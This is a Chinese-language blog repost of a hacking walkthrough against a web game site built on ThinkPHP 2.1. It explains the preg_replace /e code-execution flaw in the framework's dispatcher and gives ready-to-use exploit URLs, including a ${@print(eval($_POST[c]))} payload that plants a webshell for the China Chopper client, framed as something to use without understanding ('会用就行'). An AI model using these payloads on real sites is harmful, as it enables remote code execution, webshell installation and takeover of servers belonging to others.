您的位置:首页 > 编程语言 > PHP开发

ThinkPHP2.1 0day实战

2014-04-26 17:01 1681 查看
http://www.hack80.com/thread-195-1-1.html

亲戚是做网页游戏的,今天让我帮他检测游戏有什么漏洞。我等菜菜怎么会检测游戏有什么漏洞啊,那就帮他检测下网站安全吧。

首先还是踩点一下,我的踩点很简单,从来不扫描,查下旁站。如图1.



游戏登陆页面时http://www.xxx.cn/game/Index/index.php/Index/login 如图2



我们观察一下这个地址是index.php/Index/,php后面还接了目录,那么我们可以猜测他在index.php使用了SQL,那么我们就添加and 1=1 和and 1=2 看看是否存在注入。结果提示非法操作了,看来是添加了防注入。如图3。



这提示不要紧,居然把cms版本给爆出来了。CMS是ThinkPHP 2.1。baidu一下0day,红黑在2012-07-28公布他的一个任意php执行的漏洞。

我们来分析下漏洞吧在/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php

125 –$res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['\1']=”\2″;’, implode($depr,$paths));

125 + $res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['\1']=’\2′;’, implode($depr,$paths));

这个代码是把pathinfo当作restful类型url进行解析的,主要作用是把pathinfo中的数据解析并合并到$_GET数组中。

然而在用正则解析pathinfo的时候,主要是这一句:

$res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['\1']=”\2″;’, implode($depr,$paths));

这里明显使用了preg_replace的/e参数,这是个非常危险的参数,如果用了这个参数,preg_replace第二个参数就会被当做php代码执行,作者用这种方式在第二个参数中,利用PHP代码给数组动态赋值。

‘$var['\1']=”\2″;’

而这里又是双引号,而双引号中的php变量语法又是能够被解析执行的。因此,攻击者只要对任意一个使用thinkphp框架编写的应用程序,使用如下方式进行访问,即可执行任意PHP代码。就是说,print( )里面可以执行我们的任意代码,,如phpinfo()等其他函数

我们看不懂没关系,会用就行访问地址,执行函数print(phpinfo()),编码后http://www.xxx.cn/game/Index/index.php/module/action/param1/$%7B@print(phpinfo())%7D
,看看漏洞存在不。如图4。



看来漏确实存在,那么我们可以用php的fputs和fopen函数直接写木马出来了。一个中国人搞安全怎么能忘记中国人写的软件菜刀,直接构造代码http://www.xxx.cn/game/Index/index.php/module/action/param1/${@print(eval($_POST[c]))}

菜刀里面直接填这个路径 密码C 就能连接了。如图5,图6。





因为是亲戚的站,就不拖库提权了。报下漏洞,走人。


内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: